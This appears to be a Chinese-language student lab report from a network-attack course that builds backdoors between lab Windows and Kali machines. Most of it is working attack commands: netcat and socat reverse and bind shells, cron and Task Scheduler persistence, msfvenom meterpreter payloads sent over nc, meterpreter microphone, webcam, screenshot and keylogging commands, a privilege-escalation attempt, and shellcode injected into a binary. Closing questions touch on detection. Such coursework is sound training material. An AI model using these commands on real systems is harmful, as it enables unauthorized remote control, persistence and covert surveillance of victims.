1 实验目标
1.1 实验要求
- 使用nc实现win,mac,Linux间的后门连接
- meterpreter的应用
- MSF POST 模块的应用
1.2 实验内容
- 使用netcat获取主机操作Shell,cron启动 。
- 使用socat获取主机操作Shell, 任务计划启动 。
- 使用MSF meterpreter(或其他软件)生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell。
- 使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权 。
- 使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell。
2 实验步骤及过程
2.1 netcat
netcat是一个底层工具,进行基本的TCP UDP数据收发。常被与其他工具结合使用,起到后门的作用。
Linux: 一般自带netcat,"man netcat" 或"man nc"可查看其使用说明。
Windows: 课程主页附件中下载ncat.rar解压即可使用。
2.1.1 Win获得Linux Shell
在windows中下载好netcat后,切换到文件目录,用 ncat.exe -l -p 4320 命令打开监听。
接下来用Linux反弹连接Windows,首先我们需要知道主机Windows的IP地址。
用ipconfig命令查看一下:
主机的IP地址为:192.168.1.156。
接下来我们打开Kali,用 nc 192.168.1.156 4320 -e /bin/sh 指令来进行反弹式连接(为了更简单方便所以主动去连恶意的主机,所以是反弹式的,哈哈哈哈)
可以发现Windows已经获得了Linux的shell,可以运行任何的指令。(我用ls和pwd作为示例)
2.1.2 Linux获得Win Shell
既然我们的windows可以获取Linux的shell,那当然反过来也成立。
首先,在Linux端运行监听指令 nc -l -p 4320
同样我们也需要知道Kali的ip地址,ifconfig一下:
可以看到它的ip地址是:192.168.171.128
接下来就在windows上进行反弹连接 ncat.exe -e cmd.exe 192.168.171.128 4320
这样一来,Linux就获得了windows的shell。
可以看到命令行界面,还可以执行windows的命令(我用ipconfig为示例)
2.1.3 nc传输数据
windows运行监听指令
linux与windows建立连接
连接建立成功后,可以进行字符数据的传输了
2.2 Meterpreter
Meterpreter是一个用来生成后门程序的平台,具有强大的功能,特别是其socks代理,简直就是内网渗透测试神器。
后门就是一个程序。
传统的理解是:有人编写一个后门程序,大家拿来用。
后来有一些牛人呢,就想编写一个平台能生成后门程序。这个平台呢,把后门的基本功能、扩展功能、编码功能、运行平台以及运行参数,全都做成零件或可调整的参数。用的时候按需要组合,就可以生成一个可执行文件。
典型的平台就包括有:
- intersect
- Metaspolit的msfvenom指令
- Veil-evasion
任务一:使用netcat获取主机操作Shell,cron启动
Cron是Linux下的定时任务,每一分钟运行一次,根据配置文件执行预设的指令。
1.在windows中开启监听,使用 ncat.exe -l 4320 命令监听4320
端口
2.crontab指令增加一条定时任务,"-e"表示编辑。并选择编辑器3,在底行插入10 * * * * /bin/netcat 192.168.1.156 4320 -e /bin/sh,即在每个小时的第10分钟反向连接主机的4320
端口。
3.保存、退出后配置即生效。可以通过"crontab -l"来查看,"-l"表示list。10分钟后执行指令,可以发现已经获得了shell。
任务二:使用socat获取主机操作Shell, 任务计划启动
1.在附件中把老师上传的socat压缩包下载下来并解压好。
2.在Windows系统下,打开控制面板->系统和安全->管理工具找到任务计划程序,点击创建任务。
3.点击触发器选项卡,选择新建,然后将开始任务设置为工作站锁定时。
4.在操作选项卡,点击新建,在“程序或脚本”中选择socat.exe文件的路径,添加参数中填写tcp-listen:4320 exec:cmd.exe,pty,stderr,这个命令的作用是把cmd.exe绑定到端口4320,同时把cmd.exe的stderr重定向到stdout上;
5.创建完成之后,键入windows+L锁定计算机再次登录,让任务开始执行。点击任务计划程序库,可以看见这个被我命名为4320的计划正在运行。
6.然后在Kali环境下输入指令 socat -tcp:192.168.1.156:4320,可以发现已经获得了cmd的shell,看到了命令行界面(使用了ipconfig来验证)。
任务三:使用MSF meterpreter(或其他软件)生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell
1.生成4320_backdoor.exe,复制到Win。
在Kali中输入命令如下(由于是在Linux中生成后门,所以此处的ip地址是Kali的ip地址)
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.171.128 LPORT=4320 -f exe > 4320_backdoor.exe
2.在Windows下执行 ncat.exe -l 4320 > 4320_backdoor.exe,使被控主机进入接收文件模式。
3.在kali中执行nc 192.168.1.156 4320 < 4320_backdoor.exe,将生成的后门程序传送到主机上。
4.MSF打开监听进程。
Kali中重新打开一个终端,输入msfconsole
进入msf控制台
依次输入:
-
use exploit/multi/handler
//使用监听模块,设置payload -
set payload windows/meterpreter/reverse_tcp
//使用与生成后门程序时相同的payload -
set LHOST 192.168.171.128
-
set LPORT 4320
-
exploit
//设置完成,开始监听
5.把主机中的4320_backdoor.exe文件添加进杀毒软件的信任区后,双击打开该文件。
可以发现,Kali中已经获取了windows的shell。(同样的,用ipconfig来验证)
任务四:使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权;
1.保持任务三的状态。
2.输入 record_mic 可以截获一段音频。
3.输入 webcam_snap / webcam_stream 指令可以使用摄像头进行拍照/摄影。
4.输入 screenshot 可以进行截屏。
5.输入 keyscan_start 开始记录下击键,输入 keyscan_dump 指令读取击键的记录。
6.先使用getuid指令查看当前用户,使用getsystem指令进行提权。(提权失败...详见遇到的问题)
可选加分内容:使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell
1.首先生成shellcode:Payload是是包含在你用于一次漏洞利用(exploit)中的ShellCode中的主要功能代码。linux中的有效载荷与任务三不同为linux/x86/meterpreter/reverse_tcp可通过命令msfvenom -l payload。
2.通过命令生成后门程序overdoor。(因为需要注入pwn1所以选用的格式为ELF;-x参数用来指定我们的模板pwn1就写入到pwn1这个可执行文件中)
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.171.128 LPORT=4320-x pwn1 -f elf > overdoor
3.在第一个终端中打开msf控制台,依次输入:
-
use exploit/multi/handler,设置payload
-
set paylaod linux/x86/meterpreter/reverse_tcp
-
set LHOST 192.168.171.128
-
set LPORT 4320
-
exploit
4.在另一个终端运行刚刚生成后门程序overdoor,在第一个终端可以发现获得了需要的shell(通过ls和pwd命令进行了检验)
3 实验思考与心得
3.1 基础问题回答
(1)例举你能想到的一个后门进入到你系统中的可能方式?
黑客通过发送匿名邮件,故意设置用户感兴趣地内容,用户接收邮件,下载邮件中附带的附件,殊不知正中黑客下怀,下载的正是黑客希望植入用户电脑中的后门程序。
(2)例举你知道的后门如何启动起来(win及linux)的方式?
与电脑自启动项绑定,当用户开机时就自动启动;
Linux中cron启动;
植入木马病毒,实现远程操控,手动启动;
(3)Meterpreter有哪些给你映像深刻的功能?
入侵用户电脑摄像头,进行拍照摄像;
录音,截取用户的声音片段;
记录下用户键盘键入的所有操作;
(4)如何发现自己有系统有没有被安装后门?
通过杀毒软件检测、扫描电脑中的异常程序或软件;
查看防火墙的工作日志,检查是否有异常情况;
查看入侵检测系统,检查是否有报告;
3.2 实验中遇到的问题
1.Kali无法上网
实验开始时启动Kali之后,莫名其妙发现连不上网,ping网址ping不通,ping主机也ping不通。上网搜索看到网友各种解决办法,修改配置文件、将网络适配器改为桥接模式或者仅主机模式等等,通过尝试发现都没什么效果。最后通过虚拟网络编辑器还原默认设置之后,重启KALI成功连上网。
2.使用msf提权失败
我查阅了很多资料,用了各种办法都提权失败。其中最可能的说法是通过另一个洞来提权:提权操作需要使用background命令,使用background命令之后会自动退出到msf的命令行下,输入use exploit/windows/local/bypassuac,然后再输入set session (查到的session),最后输入run便会成功。然而运行结果还是不成功,综上我认为就像它所提示的,win10系统不够脆弱(还是太强大了(:)
3.运行pwn1文件时,./pwn1权限不够。
虽然还是不知道为什么会突然失去运行这个文件的权限,而且我尝试过用超级用户来运行,也还是权限不够。后来没办法,只能强行chmod 777把文件权限全都提到最高,居然成功了。
3.3 实验心得
在这次实验中,遇到的困难并没有上一次实验的多,并没有像上次一样那么多容易出错的细节,而多是技术性的困难,需要我们查阅大量的文献资料来解决,或者参考他人的博客。这次实验除了最后一个加分任务以外,其他任务思路并不是很难,甚至是只要掌握了命令,基本上一定可以做成功,但是却更强调技术性。也正是因为这样的技术性,更能吸引我不停地专研,虽然困难但却感觉做起实验就停不下来,就想一鼓作气一探究竟。让我深深感受到了网络对抗技术的奥妙,原本只能在电影中看见的黑客手段真真正正地通过我的手实现了,一个个神奇的命令就能得到意想不到的结果,不禁令我感叹黑客们的力量之大。